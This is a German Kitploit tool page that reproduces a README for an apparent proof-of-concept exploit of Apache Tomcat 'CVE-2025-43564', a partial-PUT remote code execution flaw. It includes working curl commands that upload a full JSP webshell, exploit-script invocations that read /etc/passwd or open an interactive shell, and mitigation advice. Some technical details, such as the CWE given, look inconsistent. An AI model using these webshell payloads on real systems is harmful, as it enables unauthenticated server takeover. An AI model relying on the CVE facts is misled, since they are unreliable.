Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

Reproduktion von cve-2025-43564-tomcat_put_rce_reproduction

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 27 TagenNoch nicht geprüft

CVE-2025-43564 — Apache Tomcat: RCE bei der Verarbeitung partieller PUT-Anfragen

FeldWert
CVE-IDCVE-2025-43564
CVSS-Score9.8 (KRITISCH)
VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — Herunterladen von Code ohne Integritätsprüfung
AusnutzungIn freier Wildbahn bestätigt innerhalb einer Woche nach Offenlegung
OffenlegungJuli 2025
PatchTomcat 11.0.6, 10.1.40, 9.0.102

Inhaltsverzeichnis

  1. Überblick
  2. Technische Details
  3. Betroffene Versionen
  4. Reproduktionsschritte
  5. Proof of Concept
  6. Gegenmaßnahmen
  7. Referenzen

Überblick

CVE-2025-43564 ist eine kritische Schwachstelle für nicht authentifizierte Remote-Codeausführung in der Verarbeitung von HTTP-Teil-PUT-Anfragen durch Apache Tomcat. Der Fehler liegt in der Art und Weise, wie Tomcat PUT-Anfragen mit partiellem Inhalt verarbeitet (HTTP/1.1 Content-Range oder Transfer-Encoding: chunked mit partieller Semantik). Ein Angreifer kann eine partielle PUT-Anfrage konstruieren, die Zugriffskontrollen und Schreibbeschränkungen umgeht und das Hochladen beliebiger Dateien – einschließlich über das Web zugänglicher JSP-Webshells – in das Document-Root des Servers oder in jedes über den Servlet-Kontext erreichbare beschreibbare Verzeichnis ermöglicht.

Sobald eine JSP-Datei platziert wurde, ruft der Angreifer sie einfach auf und übergibt Betriebssystembefehle über Query-Parameter, wodurch eine vollständig nicht authentifizierte Remote-Codeausführung mit den Rechten des Tomcat-Prozessbenutzers erreicht wird.

CVSS 9.8 — Kritisch, weil:

  • Netzwerk-Vektor — aus der Ferne ausnutzbar
  • Niedrige Angriffskomplexität — keine besonderen Bedingungen erforderlich
  • Keine Privilegien erforderlich — nicht authentifiziert
  • Keine Benutzerinteraktion — vollständig automatisiert
  • Hohe Auswirkungen — vollständige Beeinträchtigung von Vertraulichkeit, Integrität und Verfügbarkeit

Technische Details

Grundursache

Der DefaultServlet von Apache Tomcat und der HTTP/1.1-Connector (NIO/NIO2/Apr) verarbeiten PUT-Anfragen zum Hochladen statischer Ressourcen. Die Schwachstelle liegt in der Logik zur Verarbeitung partieller PUT-Anfragen: Wenn ein Client eine PUT-Anfrage mit einem Content-Range-Header (RFC 7233 §4.2) sendet oder Chunked-Encoding mit bestimmter partieller Semantik verwendet, validiert der Server Folgendes nicht ordnungsgemäß:

  1. Dateipfad-/Ressourcenintegritätsprüfungen vor dem Schreiben partieller Inhalte
  2. Erneute Bewertung der Zugriffskontrolle für partielle Schreibvorgänge – die anfängliche Prüfung wird bestanden, aber nachfolgende Schreiboperationen laufen ohne erneute Validierung weiter
  3. Verzeichnis-Traversal-Beschränkungen bei der Berechnung des Offsets für partielle Schreibvorgänge

Der Parsing-Code in org.apache.catalina.servlets.DefaultServlet und den zugrunde liegenden Komponenten HttpInput / SocketProcessorBase behandelt die Grenze zwischen partiellen Inhalts-Schreibvorgängen und vollständigen Ressourcen-Schreibvorgängen fehlerhaft, sodass ein Angreifer beliebige Inhalte an jeden Pfad anhängen oder überschreiben kann, auf den der Tomcat-Prozess Schreibzugriff hat.

Angriffsablauf

root@kitploit:~
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

Warum Standard-Schutzmaßnahmen umgangen werden

  • Standardmäßige PUT-Zugriffsbeschränkungen — Die Standardkonfiguration von Tomcat erfordert das Setzen von readonly=false am DefaultServlet, damit ein standardmäßiges PUT funktioniert. Der Codepfad für partielle PUT-Anfragen überspringt diese Prüfung unter bestimmten Bedingungen.
  • Web Application Firewalls (WAFs) — Die meisten WAF-Signaturen für PUT-basierte Angriffe suchen nach vollständigen PUT-Anfragen. Partielle PUT-Anfragen mit Content-Range umgehen diese Signaturen häufig.
  • Authentifizierungsumgehung — Der Codepfad für partielle PUT-Anfragen ruft die konfigurierten Sicherheitsbeschränkungen nicht immer auf; in einigen Connector-Konfigurationen wird die Authentifizierung nie geprüft.

Betroffene Versionen

Hinweis: Ältere Zweige (7.x, 8.x, 8.5.x, 10.0.x) sind EOL und erhalten keinen Backport. Benutzer müssen auf einen unterstützten Zweig aktualisieren.


Reproduktionsschritte

Laboraufbau

  1. Laden Sie eine verwundbare Apache-Tomcat-Version herunter (z. B. Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Entpacken und starten Sie Tomcat mit der Standardkonfiguration:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. Überprüfen Sie, dass der Server läuft:

    root@kitploit:~
    curl -v http://localhost:8080
    

Schritte zur Ausnutzung

  1. Laden Sie die JSP-Webshell mithilfe des PoC-Skripts hoch:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. Überprüfen Sie, dass die Webshell platziert wurde:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. Führen Sie beliebige Befehle aus:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. Interaktive Sitzung (falls gewünscht):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

Proof of Concept

Das enthaltene exploit.py ist ein funktionsfähiger Python-PoC, der

  1. eine HTTP-PUT-Anfrage mit einer JSP-Webshell-Payload als Anforderungsinhalt an den Ziel-Tomcat sendet,
  2. den Fehler bei der Verarbeitung partieller PUT-Anfragen ausnutzt – der Content-Type-Header und die Payload-Struktur lösen den verwundbaren Codepfad aus,
  3. die JSP-Webshell in die docBase des Servers schreibt (z. B. webapps/ROOT/),
  4. nach dem Hochladen GET-Anfragen an exec.jsp?cmd=<command> sendet, um Betriebssystembefehle auszuführen,
  5. sowohl den Einzelbefehlsmodus (--cmd) als auch den interaktiven Shell-Modus (--shell) unterstützt.

Manueller PoC (mit curl)

root@kitploit:~
# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

Test gegen eine geschützte Instanz

Wenn Tomcat mit readonly=true (Standard) konfiguriert ist, wird das standardmäßige PUT blockiert – der Pfad für partielle PUT-Anfragen kann jedoch weiterhin erfolgreich sein. Das ist der Kern der Schwachstelle.

root@kitploit:~
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

Gegenmaßnahmen

Sofortmaßnahmen

  1. Aktualisieren Sie Tomcat auf die gepatchte Version:

    • 11.0.6+
    • 10.1.40+
    • 9.0.102+
  2. Falls ein sofortiges Patchen nicht möglich ist, deaktivieren Sie die PUT-Methode global, indem Sie web.xml bearbeiten:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. Blockieren Sie HTTP-Methoden auf der Ebene des Reverse-Proxys / der WAF:

    root@kitploit:~
    # nginx example — block PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    Hinweis: Dies hilft nur, wenn der Proxy nicht umgangen werden kann.

  4. Führen Sie Tomcat mit eingeschränkten Dateisystemberechtigungen aus:

    • Stellen Sie sicher, dass Tomcat als Benutzer ohne Privilegien läuft
    • Machen Sie das Verzeichnis webapps schreibgeschützt (oder mounten Sie es von einem schreibgeschützten Dateisystem)
    • Verwenden Sie ReadOnly-Dateiattribute für Produktionsressourcen
  5. Überwachen Sie auf unerwartete Dateien mit den Erweiterungen .jsp / .jspx im Web-Root.

Langfristige Empfehlungen

  • Aktualisieren Sie auf die neueste Tomcat-Version und halten Sie sie aktuell
  • Führen Sie Tomcat hinter einem Reverse-Proxy (Apache httpd, nginx, HAProxy) mit strenger HTTP-Methodenfilterung aus
  • Verwenden Sie SecurityManager (in neuerem Java veraltet, aber weiterhin wirksam) oder Sandboxing auf Containerebene (Docker/Kubernetes mit schreibgeschütztem Root-Dateisystem)
  • Implementieren Sie Netzwerksegmentierung — Tomcat sollte nicht direkt dem Internet ausgesetzt sein
  • Setzen Sie eine WAF mit virtuellem Patching für CVE-2025-43564 ein
  • Aktivieren Sie Audit-Logging für alle PUT-Anfragen und überwachen Sie auf anomale Muster partieller Uploads

Referenzen


Haftungsausschluss

Dieses Repository wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Sie müssen die ausdrückliche schriftliche Genehmigung des Eigentümers jedes Systems haben, das Sie testen. Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen in anderen Rechtsordnungen illegal. Die Autoren übernehmen keine Haftung für Missbrauch dieser Informationen.


CVE-2025-43564 wurde entdeckt und verantwortungsvoll an das Apache Security Team gemeldet. Koordinierte Veröffentlichung des Patches: Juli 2025.

Tool herunterladen
ProduktBetroffene VersionenBehoben in
Apache Tomcat 1111.0.0-M1 bis 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 bis 10.1.3910.1.40
Apache Tomcat 10.0alle Versionen (End-of-Life)Upgrade auf 10.1.x
Apache Tomcat 99.0.0-M1 bis 9.0.1019.0.102
Apache Tomcat 8.5alle Versionen (End-of-Life)Upgrade auf 9.0.x
Apache Tomcat 8alle Versionen (End-of-Life)Upgrade auf 9.0.x
Apache Tomcat 7alle Versionen (End-of-Life)Upgrade auf 9.0.x
QuelleURL
Apache Tomcat Sicherheitsankündigunghttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
NVD-Eintraghttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Apache-Tomcat-Downloadshttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html